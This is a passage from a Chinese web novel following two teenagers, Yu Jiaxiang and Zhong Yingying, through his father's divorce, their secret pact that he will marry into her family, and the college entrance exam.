“你娘啊，她读的是工商管理，当时她还说等念完书要回来接你外公的班，结果还没毕业，就被你那过来当交换生的爹给勾搭走了！”谢军提起这事仍旧很气愤，他多好的一个小妹啊，嫁给余华容那几年风里来雨里去的。 结果生孩子的时候他还不在，让他妹妹伤了身子，本身她身体就很虚弱，这下子雪上加霜，嘉祥才几岁她就撒手人寰了。 谢舅妈给谢军使了个眼色，意思是孩子还在呢，让他别胡说八道，那毕竟是人家亲爹，他这个舅舅再亲，能越过人家亲爹去？ 谢军怒火中烧，直接就忽略谢舅妈的劝阻，他继续骂道：“那个该死的玩意，我小妹才走多久啊，他就又娶了一个，还又生了个儿子，天天放任他们欺负我外甥，他对得起我妹妹吗！” 他越说越气，最后气的饭都吃不下去了，‘哐当’一声把饭碗丢在饭桌上：“不吃了，气都气饱了，还吃个球！” 见谢军被气走了，谢舅妈跟在他身后还不忘转头安抚桌上吃饭的外甥：“嘉祥，舅舅可能是中午喝多了，他说的话你别往心里去啊～舅妈这就说他去。” 爹娘都走了，饭桌上谢文博开始招呼起了余嘉祥：“嘉祥，快吃菜，跟你哥你还客气。” “我爹娘他俩就那样，你也不是不知道他俩的性子，等过会儿他们自己想好了就下来了。” “桌上这么多好菜呢，不吃就浪费了。” 谢文博一顿起码三碗干饭，如果家里饭做的比较多的情况下，四碗他也是吃的下的。 余嘉祥跟他一样，俩人都是大胃王。 对于舅舅和舅妈对自己老爹有意见这件事，余嘉祥压根没一点要生气的意思，因为他对他爹的意见只会比他们更深。 “吃菜、吃菜，表哥你多吃点！” 余嘉祥在谢军家住了那么长时间，跟谢文博那好的像亲哥俩一样。 等余华容到谢家的时候，看到的就是他儿子跟他大舅哥儿子称兄道弟的场面。 余华容进门后，竟然没一人发现他来了。 “文博，你爹呢？” “我去，谁呀？”从背后突然响起的声音吓了谢文博一大跳，手里的碗都差点掉在了地上。 等他把碗稳在手里时，才有时间转头去看来人是谁。 不看不要紧，这一看他就有些尴尬了，毕竟他爹娘方才还在饭桌上说人坏话呢。 他挠了挠头皮，十分不好意思的小声喊了一声：“姑父。” “我爹娘他们在书房呢，我去给你喊他们！” 接着喊人的功夫，谢文博成功逃脱了这令人尴尬的局面，只留下余嘉祥父子俩相对无言。 最后还是余华容率先打破了沉默：“嘉祥，你回家怎么不等一等爹呢？在学校钱还够花吗？” 余嘉祥觉得他有些奇怪，以前他可从来没有这么关心过他，这老东西指定是遇上事了，果不其然他下一秒就听余华容开口道：“嘉祥，我知道你一直对琬容不满意……” 余嘉祥一听他提起他那媳妇，他就以为对方是来兴师问罪的。 他直接打断余华容道：“我就是对她不满意怎么了？” “咋地，我好不容易回趟家，从家里拿了条火腿她都要告到你面前，你今天来干嘛，来找我麻烦？” 余华容看见一听他提起琬容就浑身尖锐的像个刺猬一样的儿子，他在心底叹息道：都是他的错，要不是他贪图美色，把琬容娶进门，他跟栩栩的孩子的性格也不会变成这样。 而琬容也不会因为进了他家的门，一直跟他儿子作对，变的下手那么狠毒。 都是他的错啊，既害了他儿子，又害了人家好好一个漂亮姑娘。 谢军跟谢舅妈本来正在书房里谈事情呢，就见谢文博猛的推门进里，压低了声音喊他俩：“爹娘，不好了，不好了，小姑父找上门来了，就在客厅，你俩快出来看看，他不会对嘉祥动手吧？” 谢军意识昏沉间突然听见有人要打他大外甥，立马一个鲤鱼打挺就从书房里的躺椅上坐了起来，大吼道：“我看谁敢？” 这找麻烦都找到他家来了，谢军拿还能坐的住，他揉了揉有些胀痛的额头，直接推开书房的门出去见余华容了。 但到了客厅之后，却发现场面并不如他想象的那般剑拔弩张，父子俩之间的氛围反而挺……和谐？对，就是和谐。 谢军用手背揉揉眼睛，有些不敢相信自己的眼睛。 他上一次见这样的场面是什么时候？快十年了吧？那时候他小妹还活的好好的呢。 见谢军从书房里出来，余华容忙从板凳上站起来喊道：“大哥！” 谢军喝了酒，这会儿脑子还有些不清醒，直接没给余华容好脸：“你、你别叫我、别叫我大哥，说，你来我家做什么？嗝儿～”话刚说完，谢军还打了个酒嗝。 余华容闻到他身上的酒气，就知道他这是喝多了，他也不生气，慢声细语道：“大哥，我来接嘉祥回家。” “休想，你接他干嘛？回家给你小媳妇欺负吗？”谢军当即就拒绝了。 余华容这才想起刚刚他要跟余嘉祥还没有说完的话，他干脆当着谢军的面，干脆利落道：“我跟琬容要离婚了，小胖她带走，家里以后只会有嘉祥一个孩子，所以大哥，你不用再担心余家再有人欺负嘉祥。” 谢军半闭着眼睛，还在胡言乱语：“我给你说，我今天说什么也不会……什么？你刚才说什么？” 余华容要离婚的事直接给谢军酒意都吓没了，现在的他比任何时候都要清醒。 第138章 “我说，我要跟琬容离婚，离婚协议都已经签好了，明天一早就去民政局领离婚证！”见谢家人都一副不可置信的样子，余华容只好把自己的打算又大声重复了一遍。 谢军被他的声音给吵的耳朵痛，他骂道：“我听到了，你说那么大声干什么？” 谢舅妈跟谢军的反应没什么两样，她也是一脸怀疑的问：“华容，你开玩笑的吧？” 余华容：“……” 本来离婚就不是什么光彩的事，现在他还得在人前一遍又一遍揭开自己的伤疤，要是面前站着的是别人，余华容都想掉头就走了，但现在他面前站着的是亡妻的亲哥嫂，他就只能耐着性子又给他们解释了一遍。 又听了一遍余华容解释的谢军仍然不敢相信面前这人会做出这样的决定，如果不是蒙他的，那就是这里面绝对有什么他不知道的事在。 夫妻俩又是不约而同的用那种诡异的眼神盯着余华容，余华容只能强撑着镇定。 他不想把张琬容做过的事情宣扬的人尽皆知，如果那样的话，那张琬容势必要去做牢的，一日夫妻百日恩，俩人还有一个孩子，他不想把事做绝了，让他小儿子也变成没娘的孩子。 最后余嘉祥给他解了围：“舅舅，舅妈，我跟我爹回去，他没骗我。” 张琬容给他下药那事，化验结果余华容是知会过余嘉祥的，那时候他让他忍，说什么冠冕堂皇的家和万事兴。 余嘉祥对余华容彻底死心也是在那次。 现在两人离婚，他只想坐看狗咬狗，反正家里面属于他的那一份财产是一分不能少，如果余华容敢把钱都给那个女人，他就敢去公安局去告。 他手上没有证据，他也要给他俩伪善的面具揭下来。 一个贪财，一个好色，俩人都不是什么好东西。 “嘉祥，如果你在家里受欺负了，记得直接来舅舅家，舅舅家的大门永远为你敞开。”对于余嘉祥要回余家，谢舅妈和谢军都是一万个不舍得。 这孩子好不容易放个假，还没在家里住两天，就又要走了。 “嘉祥，记得舅舅说的话啊～” 人都走远了，谢军还站在那里喊。 谢文博觉得有些没眼看：“爹，嘉祥是回自己家，你怎么搞的跟生离死别似的？” 谢军最忌讳死这个字，他眼一瞪：“你说什么？” 谢舅妈慌忙站出来给自己儿子打圆场：“文博，你快呸三声，把不吉利的话都呸出去～” 谢文博：“……” 这俩人都当那么大的官，咋还搞封建迷信呢？ “呸、呸、呸～”自己爹娘，自己只有听话了。 回到余家的余嘉祥，在家里果然没再见到那对母子的身影，家里也空旷了许多，好些东西都不见了，比如那小胖子的玩具车还有扔的到处都是的衣服鞋子啥的。 “爹，你动作这么快？”刚提离婚，这家里的东西立马就给人清空了，这也太无情了吧。 余华容解释道：“这是她娘家人过来搬的。”快刀斩乱麻，既然已经决定要离婚，余华容就不打算再拉拉扯扯下去。 张琬容娘家人一开始还想找他麻烦，但他一提下药的事，他们二话不说，直接就把张琬容的铺盖还有他小儿子的东西全部卷吧卷吧收拾走了。 本来小胖子他们时不打算让张琬容要的，但是一听有抚养费拿，他们就把小胖子也给打包带走了。 “呼～这个家终于变清净了～”把随身带着的旧书包往沙发上一扔，余嘉祥顺势往沙发上一躺，眯着眼睛发出了舒服的喟叹。 旧书包被被丢下的那一刻，里面的两盒巧克力的大铁盒发出叮铃咣铛的碰撞声，余嘉祥这才想起来，他还从余华容书房里顺了两盒巧克力的事。 “爹，你抽屉里那两盒巧克力我拿走了，反正你也不爱吃。” 余华容瞥了他一眼：“知道了！”在打开抽屉发现东西不见的那一刻，他就知道是他拿的。 “你晚上在家住一晚上，明天下午我再给你送学校去。”余华容都不知道余嘉祥有多久没在家里住过了。 敌人被赶走，余嘉祥这会儿心情很好，他想也不想的答应了。 晚上躺在他那屋的床上，他就在想今天的事情。 他舅舅问他要去哪里读大学，以前他总觉得时间还早，一直没有仔细想过。 但现在他想好了，他要留在池省。 池省有舅舅，有舅妈，有表哥，有他的老师同学，还是他妈妈的故乡。 第二天余华容离婚没离成，原因是周末人家民政局休息，压根没开门。 两个人到了地方又灰溜溜的回来了。 余嘉祥笑的不能行：“爹，你结个婚又不是结扎，怎么把脑子都搞没了。” 余华容气急败坏道：“你有脑子，你有脑子为什么不提醒我一下？” 余嘉祥的笑容顿时消失了，因为他也没想起来这一茬。 为了扳回一局，他两手一伸道：“爹，给我钱，没生活费了。” 他得趁他爹刚离婚，多从他手里扣些钱出来，不然说不清什么时候他又被美色迷住，把家里的钱拿去给了别人。 余华容：“……” “拿去！” 几张大黑十连带着一沓乱七八糟的票据被扔到了余嘉祥怀里。 “谢谢爹！” 余嘉祥在努力表演一个见钱眼开的小孩。 他拿了钱之后，花不完的全都给存到银行里了，他有自己的存折。 知道自己老爹离婚的好心情一直持续到他回学校，吃完隔壁婶子帮忙给他做的‘无毒无害’的饭，余嘉祥背上那个旧书包，又从家里掂了其他好些吃的拿到学校去。 这些都是经过他老爹核查过，确定没毒的，不然他也没胆子带到学校去分给同学。 “钟莹莹，你要的东西！”俩人跟地下党接头一样，找了个隐蔽的地方交货。 “谢谢！”钟莹莹打开那个旧背包，眼里满是欢喜，这次竟然有两盒，吃完了，她应该不会再馋了吧？ 余嘉祥看她这么高兴，忍不住提醒道：“这两盒有一盒是打开过的，如果你嫌弃的话可以还我，我退你钱。” 到嘴的巧克力要飞了？那必然是不可能的，钟莹莹把两盒巧克力都拿在手里，把背包还给余嘉祥，小手一背道：“没关系，我不嫌弃。” 她打开余嘉祥说的那盒被开过的巧克力，里面也就少了三四块而已，其他的都是完好的，也没染上什么脏东西。 余家也不是什么不讲究的人家，她不担心。 找个私密的地方交货是钟莹莹提的，因为她想吃独食，如果被别人发现，她为了面子势必要分出去几块，她自己还没吃爽呢，指定是不想往外分的。 一块巧克力入喉，她已经在想下一次弄巧克力要从哪里弄了。 万一没吃够，她还是馋，也不好一直麻烦人家余嘉祥，那么海市将会是她最后的机会，也不知道宋茹姐那边能不能买到巧克力。 一直待在老家，她都好久没出过门了，她突然想等放暑假的时候去海市看看，再顺便屯一波货，等到高三再想出去就没那么容易了。 她想的入神，余嘉祥也在想自己的事情，忽然余嘉祥开口问：“钟莹莹，你高三想考到哪里啊？” 身为同一个班里年龄最相近的同学，他俩成绩也差不多，余嘉祥认为钟莹莹的选择对自己来说十分具有参考价值。 虽然他已经决定要留在池省了，但是他也想谋求一些认同感。 钟莹莹想也不想的答道：“当然是池省啊！” 余嘉祥问：“为什么？” “离家近！” 余嘉祥：好朴实无华不做作的理由！ “那你想选什么专业啊？毕业以后想干嘛？” “选政治学，学了以后毕业等分配，直接回老家进体制内，天天朝九晚五，喝茶看报，岂不是美滋滋～” “你都不想着努力奋斗一下的吗？” “我回老家一样能奋斗啊！到时候丈夫孩子热炕头，如果受欺负了，我几步路的功夫就走回家去了，到时候把村里人全喊上，谁欺负我，一村人打不死他！” “丈夫得挑个长得好的，听话的，我在外面养家很辛苦了，他就在家洗衣做饭带孩子就成。” 余嘉祥被她的话逗笑了，同时他也很羡慕钟莹莹跟家人之间的那种感情，像他就没那么自信，一摇人能摇来一村的人。 他故意打趣道：“你这不是找对象，你这是找人倒插门吧？”哪有男的愿意搁家洗衣做饭，让女的出去挣钱养活自己的。 钟莹莹：“倒插门咋啦？女的都能嫁人，男的不能倒插门了？”她非得找个倒插门的，而且以后要是生了孩子，必须得跟她姓，不然那个娃不是白生了吗？ “能是能，可那都是些歪瓜裂枣的，你能看得上？”余嘉祥可是知道她的，那见着丑的她是看都不看一眼。 钟莹莹冷哼一声：“我慢慢挑不成吗？挑不着大不了在家当一辈子老姑娘！”要不是社会主流是结婚，她其实更倾向于后一种选择。 见余嘉祥一直问问问的，她有些烦了。 她放狠话道：“如果到时候我找不到人，就把你捆了当倒插门女婿去！” 她是开玩笑的，余嘉祥还真设想了这件事变成真的会怎么样。 第139章 把自己‘嫁’到一个家庭幸福美满的家庭里，那自己是不是也就拥有了幸福美满的家庭？ 余嘉祥抬眸看向钟莹莹，家庭幸福美满之人不正在眼前吗？她父母双全，哥嫂友爱，就连村里邻居间都相处和睦，不正是余嘉祥梦*寐以求的那种家庭吗？ 他俩现在是同桌，同样的年纪，如果能念同一所大学，等大学毕业，也就是在一块处了七年之久，足够了解彼此了吧？ 至于对方想要的女主外男主内，他认为自己完全可以做到。 甚至于找个清闲的岗位，他还能边工作边照顾家庭。 余嘉祥直接开门见山道：“钟莹莹，我可以去你家倒插门！” 钟莹莹揉了揉耳朵：“你说啥？”她怀疑余嘉祥在巧克力里给她下毒了，不然她怎么会听见有人说要去她家当上门女婿呢？ “不是，你认真的啊？” 他家那么富，给她倒插门他图啥？ 余嘉祥从来没有比现在更认真了：“如果你说的以后想找一个人倒插门是真的，那我说的去你家倒插门就是真的！” 看他一脸笃定，钟莹莹有些怀疑他是不是中邪了。 “你、你脑子还好吗？” “你才多大啊，就想好要给人当上门女婿了？” “领导人说了，人不能好逸恶劳，而应该吃苦耐劳，小伙子，你这年纪轻轻的就不想努力了，实在是不可取、不可取！”钟莹莹说的头头是道。 余嘉祥：“……” 他声音幽怨：“你不是说以后要等分配，然后每天喝茶看报吗？” 钟莹莹被他的话一噎，正想说：我是上辈子当牛做马干太多了，所以这辈子才要好好休息，摆大烂，你这个才活了一辈子的，凭啥能跟我一样啊！ 可又想到他只是这个世界的土著居民，自己不能给他透露这么多。 她只能虚假的夸赞：“那你真的好厉害哦，我刚说过的东西，你立马就学会了～” 一想到对方的想法还是受到了自己的点拨，钟莹莹就有些悔不当初，凭什么自己吃了那么多的苦才想通的道理，就这么被别人无痛拿走了。 余嘉祥：“所以……你说的招上门女婿是真的吗？” 他真的很想知道这个问题的答案。 钟莹莹瞠目结舌：“你还真是这么想的啊？” 见余嘉祥点头，钟莹莹仔细打量了他一番。 他才十三，就已经有一米七的个子了，长得也好，唇红齿白的，性格也不算差，家境？她只知道他家里挺富的，他舅舅在钢铁厂当厂长，其他的就不知道，如果真要选他，还得看一下他家里啥情况，钟莹莹不想自找麻烦。 男人嘛，到处都是，她现在还小，未来多的是时间去挑，就算他长得好自己也没必要在一棵树上吊死。 “你给人当上门女婿你家里会同意？” 余嘉祥：“我娘走的早，我爹再娶了，后娘又生了个弟弟，他管不着我。” 没想到啊，这个人平常在学校看起来人五人六的，还是个没娘的小可怜。 “你确定你是真的想给我家当上门女婿？我以后是要回我们当地小县城的，那边的生活可比不上市里，干啥都不方便，你能习惯？”钟莹莹还想再确定一下，免得最后自己真把他当童养夫培养了，结果最后他后悔了，自己竹篮打水一场空。 余嘉祥：“我确定，我能习惯，我又不是没去过你家。” 回忆起之前在钟莹莹家里吃饭的场景，余嘉祥更加坚定了自己的想法。 她家饭好吃，她爹娘也好相处，只要能当上她家的上门女婿，那这些就都是自己的了。 钟莹莹深吸一口气：“那好，我答应你了。” “不过，咱们事先说好，没毕业之前你不能把这件事告诉别人，还有”钟莹莹话锋一转，余嘉祥的心也揪了起来。 “高中这剩下一年半的时间就算你的考察期，在这期间你可以反悔，我就当这件事从来没有发生过。” 听她这么说，余嘉祥立马想张口表决心，钟莹莹捂住他的嘴：“你先别说话，你听我说完。” 余嘉祥眨了眨眼睛，示意他明白了。 钟莹莹放开他，然后接着往下说：“如果等高考结束，你还是这个想法，那我们就念同一所大学，等上大学后，年纪大一些我就给家里说这件事。” “如果那个时候你敢反悔，涮着我玩，那……”她前世那个姥爷的前车之鉴还在那哦，到时候某人雀儿要保不住了。 余嘉祥不知为何，突然感觉身上凉飕飕的。 他四指朝天发誓道：“我绝对、绝对不会反悔的，如果反悔，我就不得好死！” 誓言结束，他突然感觉身上的那股凉意下去了，那瞬间天空上的太阳好似又透过白杨树的叶隙照耀在他身上，温暖重新回归。 “那就这么说定了！”违背誓言老天会不会让他死钟莹莹不知道，但自己，绝对有的是法子弄他。 “嗯～”余嘉祥点点头。 他接着从自己的口袋里掏啊掏的，最后掏出来几张大黑十，还有那些票据，一并交到钟莹莹手中。 “这是我的生活费，你拿去花。” “还有之前你给我的那个钱还有票，都在里面。我都要给你当上门女婿了，我家东西你就当自己家的，这些你拿回去！”借花献佛的事余嘉祥做的特别顺手。 那一大把钱和票，谁看了不想说一句：人和人真的不一样，有人出生就在罗马，而有人出生就是预定牛马。 钟莹莹承认自己嫉妒了。 她本来不想拿的，但转念一想，这都自己家未来上门女婿了，这钱她还真得拿！一个好的赘婿就要从小调教。 不光拿钱，以后自己的活也得让他多干。 “给我吧！” 钟莹莹接过他手里的钱就揣到了自己的裤兜里，得亏裤子宽松，口袋大，不然真装不下，就这样，她那口袋也是鼓鼓囊囊突出来好大一团。 “你把生活费都给我了，你花啥？” “我宿舍还有点零钱，够用了！下个月我还能回家拿。”家里的钱他不拿也会被他爹拿去给那女人还有他小儿子花，他就得拿，多多的拿。 给钟莹莹的钱也不是他的全部，他真正的大头存款，还是在银行里，手上这些，是他临了在学校门口又从他爹口袋里掏出来的。 “行，那你回去吧，明天还要上课呢，我也要回宿舍了。”钟莹莹十分冷酷无情的拿了东西就想走人。 今天发生的事情太多太多了，钟莹莹总有一种不真实感，她觉得她得回去好好捋一捋思绪，看看自己今天做的决定究竟对不对。 对面的人都走了好久了，停留在原地的余嘉祥还在偷偷的傻笑。 忽然，他伸出手扇了自己一巴掌。 “嘶～好疼～”有痛觉，看来刚刚发生的一切都是真的，他真的要给人当上门女婿去了。 他已经能想象到，等他毕业以后，给他那个死鬼爹说这件事的时候，对方崩溃的神情了。 “咱小老百姓，今儿个真高兴～真呀个真高兴～”余嘉祥几乎是一路哼着歌哼回了自己宿舍。 躺在床上后，他用被子蒙着自己的头，藏在被子下面还在偷偷傻笑。 钟莹莹也一样，她跟余嘉祥分开后，找了个没人的地方把那些钱票还有巧克力给丢进空间里后，才空着手回了宿舍。 余嘉祥住的单间，她可不是。 宿舍里其他三个女孩都看出了她的好心情。 宋悦在整理自己床铺的时候，还不忘打趣她：“莹莹，你这是捡着钱了，这么高兴？” 钟莹莹随口敷衍了几句：“没有，就是想到食堂终于换厨子了，以后都不用吃菜糊糊了，所以心情好。” 她说真话也不一定有人敢相信啊，她没捡到钱，但是捡到了一个上门女婿，这谁敢信？ 谁家找上门女婿不是东瞧西看，找上几年都找不到个好的。 她这还没开始呢，就有人自己送上门来了，还是自带钱票上门的，这怕不是天上掉馅饼了。 她就说她上辈子怎么那么倒霉呢，原来好运气都挪到这辈子来了。 “嘿嘿嘿～”洗漱完，躺在床上她还在咧着嘴笑。 宋悦忍俊不禁：“换厨子就这么开心啊？” 钟莹莹：“对！！！” 宋悦在心底暗笑：喜怒哀乐都表现在脸上，还是个小孩子呢～ 被钟莹莹传染的，一整个寝室的人心情都很好。 晚上睡着了钟莹莹还在笑呢。 自打确定了倒插门一事，钟莹莹跟余嘉祥之间的相处模式就变了，具体表现为钟莹莹使唤余嘉祥使唤的更加顺手了。 做值日，丢垃圾之类的事她统统都交给余嘉祥去做，而余嘉祥竟然也没有丝毫怨言，老师只觉得两人相处的还怪好的，班上同学也没把他俩往处对象方面去想。 实际上她俩也不像是在处对象，更像是好兄妹，余嘉祥就像一个无私的兄长在照顾自己妹妹一般，什么活都帮对方干了。 只有祁绮感受到了异常，她找到钟莹莹，问：“莹莹，余嘉祥是不是有什么把柄在你手上？”她也想要个自动干活机。 第140章 得知祁绮的想法，钟莹莹有些哭笑不得。 她都不知道，就使唤人干点活，自己在祁绮心中的形象，会变成那样，她是那种喜欢抓人小辫子的人吗？ 真实情况不能拿到台面上来，她只能给祁绮说：“我俩就单纯是哥俩好，他有些自恋，我给他当小弟，他帮我干活，你不要给别人说啊～” 祁绮：“他还缺小弟吗？”没有自动干活机，给她也来个能帮她干活的大哥也好啊。 “额……不缺了，不缺了，下次吧，等以后有机会我给你介绍一个。”抱歉了祁绮，她的赘婿不能拿去分享给别人。 时间过的飞快，在余嘉祥每个月回家掏老登腰包，返校上交，然后回家继续掏……无限循环中，钟莹莹他们高考的时间到了。 “莹莹，不要紧张听见了吗？就按照平常考试一样，平常对待就行。” “万一考不好，我是说万一啊，咱们村那个厂子现在越办越好了，村里的人手都不够，你回家也能给你安排个不累的好活计。” “不过考试你还是要好好考的，能考上大学咱们老钟家的祖宗面上都有光。” 为了表示重视，钟绍华还特地跟村里请了假，过来市中陪考。 “我知道了，哥，我不紧张。”她目标又不高，而且她上辈子经历过的高考规模可比这一世的要大多了，这都第二次了，哪里还会像个初出茅庐的小丫头一样，紧张害怕到浑身哆嗦。 “嗯，不紧张就好，铃响了，身上证件都带齐了吧？带好了就快进去吧！” 钟莹莹不紧张，钟绍华就未必了。 他眼看着妹妹进入考场后，刻意压制的紧张全都冒了出来，此刻他浑身都在发抖。 “祁丰啊，快扶我一把，我腿软！” 由于紧张到走不动路，他不得不向身旁的人求助。 祁丰嗤笑一声：“出息！” 他正要过来扶钟绍华呢，却突然发现自己的腿也变得颤颤巍巍的，他不承认是自己的问题，只是在心里骂道：他这绝对是被钟绍华传染了，对，绝对不是他自己紧张。 钟绍华看他这个样子，忽然又不紧张了，他大笑着说：“祁丰，你还嘲笑我呢，你自己不也是这个样子吗？瞅你紧张的！” 还是警察呢，遇到事情，比自己还哆嗦呢。 祁丰被他一笑，立马忘了方才的紧张，直接冲着钟绍华就过来了，他嚷嚷着：“谁紧张了？你哪只眼睛看见我紧张了？我这不好好的吗？” 人在想掩饰某方面的尴尬时，总会不由得提高自己的嗓音，放佛那样就能掩盖内心的虚弱。 钟绍华：“……” “啊对对对，你没紧张，是我紧张了～”他都懒得搭理他。 “快别说了，专心等你妹考完试出来吧，也不知道我家莹莹在里面咋样了？题目都会不会做？” 钟绍华的心思都放在了考场中的钟莹莹身上，实在没心情跟祁丰胡闹。 祁丰也整理好了自己的心情，跟钟绍华一道站在树荫底下：“应当没多大问题吧？她俩平常那考试成绩不都挺好的吗？”在市中都能排到前十呢。 钟绍华叹了一口气道：“我知道，但这高考不是看省排名的吗？在市里排名高又什么用？万一人家别的市今年考的好呢？啊呸呸呸……” “我在说什么胡话呢，咱们市一定会考的比其他市都好，状元也一定是我们市的！” 校门口人多，他不好光明正大的搞封建迷信，只能在心底默默祈祷：“老天保佑，祖宗保佑，保佑我家莹莹能在本次考试中名列前茅，不求一举夺魁，但求她的分数能让她上一个好的大学，最好是能读我们的池省大学！” “如果有余力的话，顺便也保佑一下她的小伙伴能跟她一样考出个好成绩，没有的话，那就保佑我家孩子一个就够了！保佑保佑！” 钟莹莹一共考了三天，第一天的语文和政治非常顺利，第二天的数学、物理、化学也还好，但等到第三天考外语的时候，她就感到有些吃力了。 那跟鬼画符一样的字体还有动不动就蹦出来一连串的弹舌音，实在让她无力招架。 好在其他人面对外语试卷也跟她一样头痛，大家都在同一起跑线上，大哥不嘲笑二弟，都给她难受去吧。 考完最后一个科目出来时，她感觉脑细胞都被杀死了不少。 来到跟余嘉祥约好的地方，她发现对方早就等在那里了。 “你提前出考场了？”她考场离这块比余嘉祥更近，如果不是提前出考场了，他绝对不会比自己来的快。 果然，余嘉祥开口就是：“嗯，外语试卷比较简单，我写的快，写完就提前出来了。” 他以前跟着余华容见了不少外宾，天然的语言环境就要比钟莹莹好很多，再加上从小就学外语，自然答题答的比钟莹莹要快。 钟莹莹听他说的这般轻描淡写，简直快要控制不住自己扭曲的表情，怎么会有这样的人啊？为什么自己不能跟他一样轻轻松松啊！ 人人都恨凡尔赛，但是人人都希望自己能够凡尔赛。 克制住自己想打人的冲动，钟莹莹冷静下来，开口问：“你现在还是之前那个想法吗？” 她其实知道，对方应该不会改变主意，都一年多了，他一直给自己‘当牛做马’，从来都没变过，要是想放弃早放弃了，不会等到现在才说。 一年半的时光，余嘉祥的成长特别明显。 除却青涩的面庞外，身型已经发育到几乎看不出来他只是个快十五岁的孩子。 钟莹莹也不差，她过去一年个子也蹿了一蹿，现在已经有一米六五了她保守估计，这辈子应该能长到一米七，不保守的话起码一米七五。 长得高蛮好的，以后跟人干架有优势，再练一练力量，男的未必打不过，钟莹莹喜欢这样的自己。 余嘉祥抿唇：“对，我要报池省大学。” 钟莹莹：“那好，等领了通知书，我们大学见！” 原先说好的是高考结束后就给家里摊牌，但钟莹莹又觉得有些不对。 余嘉祥那个爹她打听了，对方是想让他儿子去首都读书的，如果录取通知书一下来，余嘉祥就去给他摊牌要入赘的事，对方不会对他儿子做什么，但是一怒之下，会不会对她这个‘勾’了他儿子的人做什么就不一定给了。 所以保守起见，钟莹莹决定，余嘉祥自个儿爹的急风骤雨还是让他自个人面对去不，她这个人就是比较适合坐享其成，吃苦是万万不能吃苦的。 纵然心中有很多话想说，余嘉祥最终只答了一句：“大学见！” 为了不让别人发现，他俩甚至是分开出的校门。 “莹莹，你怎么出来这么晚？”祁丰妹妹都出来了，他妹妹还没见着人影，钟绍华担心到都想进市中去找人了。 可惜的是，今天市中是考场，巡考组的人还没走，陈平跟王刚是万万不敢开后门让他进学校的。 钟莹莹：“我回宿舍转悠了一圈才出来的。” 出了校门之后，在巡考组的人带着试卷走之前，他们都是不能再进学校的。 钟莹莹留在宿舍里的东西也要晚些才能拿出来。 “哦～那就没事了，你考得……不对，莹莹，你饿了没？哥带你上国营饭店吃饭去！”钟绍华张嘴就想问考得咋样，但他害怕孩子万一没考好，自己这么问，会刺激到孩子，只能立马转移话题，要带钟莹莹去吃饭。 钟莹莹没他想的那么脆弱，都能在考完去见她那个‘赘婿’了，怎么会紧张。 “考的还不错，池大应该没问题，走吧，我们吃饭去吧～” 钟绍华只听见了她那句‘池大应该没问题！’他精神变得恍恍惚惚。 他家祖坟冒青烟了，他家要出大学生啦～ 被钟莹莹给拉到国营饭店的板凳上坐下，钟莹莹把菜和饭都给点好了，他还咧着嘴角，魂不知道飘到哪里去了。 钟莹莹看饭放到他嘴边他都不知道吃，伸出手来在他眼前晃了晃：“醒醒，哥，吃饭了，你不吃，桌上的饭我都吃完了哦！” 钟绍华仍旧没有反应，钟莹莹在心里嘀咕：怎么搞的跟范进中举一样？关键这成绩还没出呢，她哥就变成了这副模样，等真出了成绩，他不得真疯了。 祁绮考的也很好，祁丰跟钟绍华一样，乐得连嘴都合不拢了，一个劲儿的在那说：他媳妇知道了一定很开心，两个学生都能考上大学，他媳妇真厉害。 火车票买了第二天早上的，晚上钟绍华跟祁丰问钟莹莹跟祁绮要不要跟他俩一块住招待所，得到的是不约而同的拒绝。 祁绮的头摇的跟拨浪鼓似的，钟莹莹也道：“哥，我们俩得会宿舍收拾东西，明天坐车方便些，就不跟你俩去招待所了。” 这俩人一晚上的表现太可怕了，那脸上时不时露出来的大傻子式的笑容，钟莹莹真的觉得等晚上回去，他俩搁床上还能笑上一整晚。 她们还是回宿舍吧，宿舍更安全！魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 140-150 第141章 高中三年就这么结束了，乍然间要离开学校，钟莹莹还真有些不舍。 宿舍四人组最后一个晚上再睡一间房了。 钟莹莹跟宋悦是决定留在池省读大学的，宋悦甚至不打算离开这个市，牛丽华也想跟着宋悦，但她成绩好，她家里不同意她留在本省，让人惊讶的是祁绮，这小丫头的梦想竟然是去海市。 钟莹莹好奇的问：“是因为之前我请假去海市那次吗？” 宋悦跟牛丽华不清楚原委，也跟着一脸八卦的听着。 祁绮点点头：“不全是。”她很想去远一点的地方看看，去海市只是因为她听过这个地方，相比于其他陌生的城市，她对于这个城市多了一些熟悉感，起码名字上是熟悉了。 “那我们六个最后只有你选择了海市诶，还是你有毅力！”钟莹莹很是感慨，她一开始就没想过要去海市念书。 读书的时候选个离家越远越好的地方的想法她上辈子已经试过了，这辈子她只想窝在这个小地方，安安稳稳过一生。 因着家境的原因选择了中专的李红雪她们不知道是什么想法，是否还想着去海市？ “我想等成绩下来了以后，拿到通知书了，去海市转转，绮绮你要去吗？”自己一个人上路家里人肯定不同意，多拉上一个，她觉得家里同意的概率会大一些。 祁绮摇摇头：“我也不知道，我得回家问问我爹娘。” 钟莹莹：“那好，你问完告诉你哥，让他给我姐夫说一声就行！” 宋悦跟牛丽华对视一眼，然后异口同声道：“莹莹你真要去海市啊？我俩也想去！” 钟莹莹点点头：“对，我家在那边有亲戚，可以去探亲，你们介绍信好开吗？”现在出门是要介绍信的，尤其是去海市，时不时的会有人上门检查，看家里有没有私藏盲流亲戚。 宋悦沉思了一下：“丽华的好开，她家里有关系，我的得回村去开，找我对象就行，应该没啥问题。” “那好，你们都要去的话，这次就是我们的毕业旅行了，等出成绩填志愿表的时候我们再商量具体时间。”出去玩的队伍越壮大，相应的安全性就越高。 一群人一块出去，他们可以住在招待所，钟莹莹可以给自己安置两个住所。 如果想脱离集体单独行动，就可以给同学说她去亲戚家了，给宋茹说她去找同学了。 “好，我回去也给我爹娘好好说说。”祁绮本来去海市的意愿不是特别强烈，她等开学后可以去那边待四年呢。 但小伙伴都要去，她也被勾的起了兴致。 …… 宿舍里面要收拾的东西不是特别的多，冬季的厚被褥大多年前就带回家去了。 宿舍里留下的只有三年的书籍，还有偏薄一些的被褥枕头衣服类的，打包起来并不费力。 钟莹莹又偷懒，偷偷的装了许多书进她的空间里，放在外面的只有蓬松的被子，还有少量的书籍。 她装的很有技巧，表面上看起来还是那一大包，但是拎起来比其他人压成实心的小包轻多了。 “走喽，去火车站！” “哥，你吃啥？”钟莹莹如今腰包鼓鼓，说话的底气特别足。 钟绍华挑眉：“咋？你要请客？” 钟莹莹用力的点点头：“嗯。” 她哥辛苦接送她上学，给她搬行李，她不得表示表示。 